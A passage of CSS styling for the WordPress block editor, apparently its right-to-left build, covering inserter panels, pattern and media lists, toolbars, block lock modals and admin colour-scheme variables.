.block-editor-block-mover-button{padding-left:8px;padding-right:8px}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-right:1px solid #ddd;margin-left:-6px;margin-right:6px;white-space:nowrap}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{padding-left:12px;padding-right:12px}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{margin-right:6px}.block-editor-inserter{background:none;border:none;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0;padding:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__main-area{display:flex;flex-direction:column;gap:16px;height:100%;overflow-y:hidden;position:relative}.block-editor-inserter__main-area.show-as-tabs{gap:0}@media (min-width:782px){.block-editor-inserter__main-area{width:350px}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;outline:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-left:1px solid #ccc;border-right:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-radius:2px 2px 0 0;border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc;border-radius:0 0 2px 2px}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs div[role=tablist]{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{height:auto;overflow:visible}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{align-items:center;border:none;cursor:pointer;display:inline-flex;outline:none;padding:0;transition:color .2s ease}@media (prefers-reduced-motion:reduce){.block-editor-inserter__toggle.components-button{transition-delay:0s;transition-duration:0s}}.block-editor-inserter__menu{height:100%;overflow:visible;position:relative}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px 16px 0}.block-editor-inserter__tabs{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.block-editor-inserter__tabs div[role=tablist]{border-bottom:1px solid #ddd}.block-editor-inserter__tabs div[role=tablist] button[role=tab]{flex-grow:1;margin-bottom:-1px}.block-editor-inserter__tabs div[role=tablist] button[role=tab][id$=reusable]{flex-grow:inherit;padding-left:16px;padding-right:16px}.block-editor-inserter__tabs div[role=tabpanel]{display:flex;flex-direction:column;flex-grow:1;overflow-y:auto}.block-editor-inserter__no-tab-container{flex-grow:1;overflow-y:auto}.block-editor-inserter__panel-header{align-items:center;display:inline-flex;padding:16px 16px 0}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{color:#757575;font-size:11px;font-weight:500;margin:0 0 0 12px;text-transform:uppercase}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{height:36px;line-height:36px}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:left}.block-editor-inserter__manage-reusable-blocks-container{margin:auto 16px 16px}.block-editor-inserter__manage-reusable-blocks{justify-content:center;width:100%}.block-editor-inserter__no-results{padding:32px;text-align:center}.block-editor-inserter__no-results-icon{fill:#949494}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{align-items:center;display:flex}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header .block-editor-block-icon{margin-left:8px}.block-editor-inserter__preview-container__popover{top:16px!important}.block-editor-inserter__preview-container{display:none;max-height:calc(100% - 32px);overflow-y:hidden;padding:16px;width:280px}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-block-preview__container{height:100%}.block-editor-inserter__preview-container .block-editor-block-card{padding-bottom:4px;padding-left:0;padding-right:0}.block-editor-inserter__patterns-explore-button.components-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category{color:var(--wp-admin-theme-color);position:relative}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category .components-flex-item{filter:brightness(.95)}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category svg{fill:var(--wp-admin-theme-color)}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;position:absolute;right:0;top:0}.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__block-patterns-tabs-container nav{height:100%}.block-editor-inserter__block-patterns-tabs{display:flex;flex-direction:column;height:100%;overflow-y:auto;padding:16px}.block-editor-inserter__block-patterns-tabs div[role=listitem]:last-child{margin-top:auto}.block-editor-inserter__block-patterns-tabs .block-editor-inserter__patterns-category{padding-left:4px}.block-editor-inserter__patterns-category-dialog{background:#f0f0f0;border-left:1px solid #e0e0e0;border-right:1px solid #e0e0e0;height:100%;position:absolute;right:0;top:0;width:100%}@media (min-width:782px){.block-editor-inserter__patterns-category-dialog{display:block;right:100%;width:300px}}.block-editor-inserter__patterns-category-dialog .block-editor-block-patterns-list{flex-grow:1;height:100%;overflow-y:auto;padding:16px 24px}.block-editor-block-patterns-list__list-item .block-editor-block-preview__container{box-shadow:0 15px 25px #00000012}.block-editor-block-patterns-list__list-item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__patterns-category-panel{display:flex;flex-direction:column;height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__patterns-category-panel{padding:0}}.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-panel-header{padding:16px 24px}.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-no-results{margin-top:24px}.block-editor-inserter__preview-content{align-items:center;background:#f0f0f0;display:grid;flex-grow:1;min-height:144px}.block-editor-inserter__preview-content-missing{align-items:center;background:#f0f0f0;border-radius:2px;color:#757575;display:flex;flex:1;justify-content:center;min-height:144px}.block-editor-inserter__tips{border-top:1px solid #ddd;flex-shrink:0;padding:16px;position:relative}.block-editor-inserter__quick-inserter{max-width:100%;width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{float:right;height:0;padding:0}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-preview__container{min-height:100px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{background:#1e1e1e;border-radius:0;color:#fff;display:block;height:44px;width:100%}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:none}.block-editor-block-patterns-explorer__sidebar{bottom:0;overflow-x:visible;overflow-y:scroll;padding:24px 32px 32px;position:absolute;right:0;top:72px;width:280px}.block-editor-block-patterns-explorer__sidebar__categories-list__item{display:block;height:48px;text-align:right;width:100%}.block-editor-block-patterns-explorer__search{margin-bottom:32px}.block-editor-block-patterns-explorer__search-results-count{padding-bottom:32px}.block-editor-block-patterns-explorer__list{margin-right:280px;padding:24px 0 32px}.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{width:380px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list{display:grid;grid-gap:32px;grid-template-columns:repeat(1,1fr);margin-bottom:16px}@media (min-width:1080px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(2,1fr)}}@media (min-width:1440px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(3,1fr)}}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{min-height:240px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-preview__container{height:inherit;max-height:800px;min-height:100px}.block-editor-inserter__patterns-category-panel-title{font-size:16.25px}.block-editor-inserter__media-tabs-container,.block-editor-inserter__media-tabs-container nav{height:100%}.block-editor-inserter__media-tabs-container .block-editor-inserter__media-library-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__media-tabs{display:flex;flex-direction:column;height:100%;overflow-y:auto;padding:16px}.block-editor-inserter__media-tabs div[role=listitem]:last-child{margin-top:auto}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category{padding-left:4px}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected{color:var(--wp-admin-theme-color);position:relative}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected .components-flex-item{filter:brightness(.95)}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected svg{fill:var(--wp-admin-theme-color)}.block-editor-inserter__media-tabs .block-editor-inserter__media-tabs__media-category.is-selected:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;position:absolute;right:0;top:0}.block-editor-inserter__media-dialog{background:#f0f0f0;border-left:1px solid #e0e0e0;border-right:1px solid #e0e0e0;height:100%;overflow-y:auto;padding:16px 24px;position:absolute;right:0;scrollbar-gutter:stable both-edges;top:0;width:100%}@media (min-width:782px){.block-editor-inserter__media-dialog{display:block;right:100%;width:300px}}.block-editor-inserter__media-dialog .block-editor-block-preview__container{box-shadow:0 15px 25px #00000012}.block-editor-inserter__media-dialog .block-editor-block-preview__container:hover{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__media-panel{display:flex;flex-direction:column;min-height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__media-panel{padding:0}}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{align-items:center;display:flex;flex:1;height:100%;justify-content:center}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){--wp-components-color-background:#fff}.block-editor-inserter__media-list{margin-top:16px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-placeholder{min-height:100px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item[draggable=true] .block-editor-block-preview__container{cursor:grab}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview{box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{display:block}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{left:8px;position:absolute;top:8px}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{background:#fff;border-radius:2px;display:none}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{display:block}.block-editor-inserter__media-list .block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list .block-editor-inserter__media-list__item{height:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{align-items:center;border-radius:2px;display:flex;overflow:hidden}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{margin:0 auto;max-width:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{align-items:center;background:#ffffffb3;display:flex;height:100%;justify-content:center;pointer-events:none;position:absolute;width:100%}.block-editor-inserter__media-list .block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{min-width:auto}.block-editor-inserter__mobile-tab-navigation{height:100%;padding:16px}.block-editor-inserter__mobile-tab-navigation>*{height:100%}@media (min-width:600px){.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{max-width:480px}}.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{margin:0}.block-editor-inserter__hint{margin:16px 16px 0}.reusable-blocks-menu-items__rename-hint{align-items:top;background:#f0f0f0;border-radius:2px;color:#1e1e1e;display:flex;flex-direction:row;max-width:380px}.reusable-blocks-menu-items__rename-hint-content{margin:12px 12px 12px 0}.reusable-blocks-menu-items__rename-hint-dismiss{margin:4px 0 4px 4px}.components-menu-group .reusable-blocks-menu-items__rename-hint{margin:0}.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{height:40px}.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{align-items:center;display:flex;flex:1;height:40px;margin-bottom:0}.spacing-sizes-control .spacing-sizes-control__custom-value-range>.components-base-control__field,.spacing-sizes-control .spacing-sizes-control__range-control>.components-base-control__field{flex:1}.spacing-sizes-control .components-range-control__mark{background-color:#fff;height:4px;width:3px;z-index:1}.spacing-sizes-control .components-range-control__marks{margin-top:17px}.spacing-sizes-control .components-range-control__marks :first-child{display:none}.spacing-sizes-control .components-range-control__thumb-wrapper{z-index:3}.spacing-sizes-control__header{height:16px;margin-bottom:12px}.spacing-sizes-control__dropdown{height:24px}.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{flex:1}.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{flex:0 0 auto}.spacing-sizes-control__icon{margin-right:-4px}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5;--wp--style--block-gap:2em}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-autocompleters__block{
  white-space:nowrap;
}
.block-editor-autocompleters__block .block-editor-block-icon{
  margin-left:8px;
}

.block-editor-autocompleters__link{
  white-space:nowrap;
}
.block-editor-autocompleters__link .block-editor-block-icon{
  margin-left:8px;
}

.block-editor-block-alignment-control__menu-group .components-menu-item__info{
  margin-top:0;
}

.block-editor-block-bindings-toolbar-indicator{
  align-items:center;
  display:inline-flex;
  height:48px;
  padding:6px;
}
.block-editor-block-bindings-toolbar-indicator svg g{
  stroke:var(--wp-bound-block-color);
  fill:#0000;
  stroke-width:1.5;
  stroke-linecap:round;
  stroke-linejoin:round;
}

iframe[name=editor-canvas]{
  display:block;
  height:100%;
  width:100%;
}

iframe[name=editor-canvas]:not(.has-editor-padding){
  background-color:#fff;
}

iframe[name=editor-canvas].has-editor-padding{
  padding:24px 24px 0;
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-inspector p:not(.components-base-control__help){
  margin-top:0;
}
.block-editor-block-inspector h2,.block-editor-block-inspector h3{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.block-editor-block-inspector .components-base-control{
  margin-bottom:24px;
}
.block-editor-block-inspector .components-base-control:last-child{
  margin-bottom:8px;
}
.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{
  margin-bottom:0;
}
.block-editor-block-inspector .components-panel__body{
  border:none;
  border-top:1px solid #e0e0e0;
  margin-top:-1px;
}

.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{
  background:#fff;
  display:block;
  font-size:13px;
  padding:32px 16px;
  text-align:center;
}

.block-editor-block-inspector__no-block-tools{
  border-top:1px solid #ddd;
}

.block-editor-block-inspector__tab-item{
  flex:1 1 0px;
}
.block-editor-block-list__insertion-point{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-block-list__insertion-point-indicator{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  opacity:0;
  position:absolute;
  transform-origin:center;
  will-change:transform, opacity;
}
.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{
  height:4px;
  top:calc(50% - 2px);
  width:100%;
}
.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{
  bottom:0;
  right:calc(50% - 2px);
  top:0;
  width:4px;
}

.block-editor-block-list__insertion-point-inserter{
  display:none;
  justify-content:center;
  position:absolute;
  right:calc(50% - 12px);
  top:calc(50% - 12px);
  will-change:transform;
}
@media (min-width:480px){
  .block-editor-block-list__insertion-point-inserter{
    display:flex;
  }
}

.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{
  pointer-events:none;
}
.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{
  pointer-events:all;
}

.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:#1e1e1e;
  border-radius:2px;
  color:#fff;
  height:24px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{
  background:var(--wp-admin-theme-color);
}
.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{
  background:#1e1e1e;
}
.block-editor-block-list__block-selection-button{
  background-color:#1e1e1e;
  border-radius:2px;
  display:inline-flex;
  font-size:13px;
  height:48px;
  padding:0 12px;
  z-index:22;
}
.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content{
  align-items:center;
  display:inline-flex;
  margin:auto;
}
.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content>.components-flex__item{
  margin-left:6px;
}
.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle{
  cursor:grab;
  height:24px;
  margin-right:-2px;
  min-width:24px;
  padding:0;
}
.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle svg{
  min-height:18px;
  min-width:18px;
}
.block-editor-block-list__block-selection-button .block-editor-block-icon{
  color:#fff;
  font-size:13px;
  height:48px;
}
.block-editor-block-list__block-selection-button .components-button{
  color:#fff;
  display:flex;
  height:48px;
  min-width:36px;
}
.block-editor-block-list__block-selection-button .components-button:focus{
  border:none;
  box-shadow:none;
}
.block-editor-block-list__block-selection-button .components-button:active,.block-editor-block-list__block-selection-button .components-button[aria-disabled=true]:hover{
  color:#fff;
}
.block-editor-block-list__block-selection-button .block-selection-button_select-button.components-button{
  padding:0;
}
.block-editor-block-list__block-selection-button .block-editor-block-mover{
  background:unset;
  border:none;
}

@keyframes hide-during-dragging{
  to{
    position:fixed;
    transform:translate(-9999px, 9999px);
  }
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-list__block-selection-button{
  margin-bottom:12px;
  margin-top:12px;
  pointer-events:all;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{
  border:1px solid #1e1e1e;
  border-radius:2px;
  overflow:visible;
  position:static;
  width:auto;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-right:56px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{
  margin-right:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{
  overflow:visible;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{
  border-left-color:#1e1e1e;
}
.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{
  visibility:hidden;
}
.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{
  animation:hide-during-dragging 1ms linear forwards;
  opacity:0;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  position:absolute;
  right:-57px;
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{
  content:"";
}
.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  background-color:#fff;
  border:1px solid #1e1e1e;
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{
  margin-right:-1px;
  position:relative;
  right:auto;
}
.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-right:1px solid #1e1e1e;
}

.is-dragging-components-draggable .components-tooltip{
  display:none;
}

.block-editor-block-lock-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .block-editor-block-lock-modal .components-modal__frame{
    max-width:480px;
  }
}

.block-editor-block-lock-modal__checklist{
  margin:0;
}

.block-editor-block-lock-modal__options-title{
  padding:12px 0;
}
.block-editor-block-lock-modal__options-title .components-checkbox-control__label{
  font-weight:600;
}

.block-editor-block-lock-modal__checklist-item{
  align-items:center;
  display:flex;
  gap:12px;
  justify-content:space-between;
  margin-bottom:0;
  padding:12px 32px 12px 0;
}
.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{
  flex-shrink:0;
  margin-left:12px;
  fill:#1e1e1e;
}
.block-editor-block-lock-modal__checklist-item:hover{
  background-color:#f0f0f0;
  border-radius:2px;
}

.block-editor-block-lock-modal__template-lock{
  border-top:1px solid #ddd;
  margin-top:16px;
  padding:12px 0;
}

.block-editor-block-lock-modal__actions{
  margin-top:24px;
}

.block-editor-block-lock-toolbar .components-button.has-icon{
  min-width:36px !important;
}

.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  margin-right:-6px !important;
}

.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{
  border-right:1px solid #1e1e1e;
  margin-left:-6px;
  margin-right:6px !important;
}

.block-editor-block-breadcrumb{
  list-style:none;
  margin:0;
  padding:0;
}
.block-editor-block-breadcrumb li{
  display:inline-flex;
  margin:0;
}
.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{
  fill:currentColor;
  margin-left:-4px;
  margin-right:-4px;
  transform:scaleX(-1);;
}
.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{
  display:none;
}

.block-editor-block-breadcrumb__button.components-button{
  height:24px;
  line-height:24px;
  padding:0;
  position:relative;
}
.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){
  box-shadow:none;
  text-decoration:underline;
}
.block-editor-block-breadcrumb__button.components-button:focus{
  box-shadow:none;
}
.block-editor-block-breadcrumb__button.components-button:focus:before{
  border-radius:2px;
  bottom:1px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:1px;
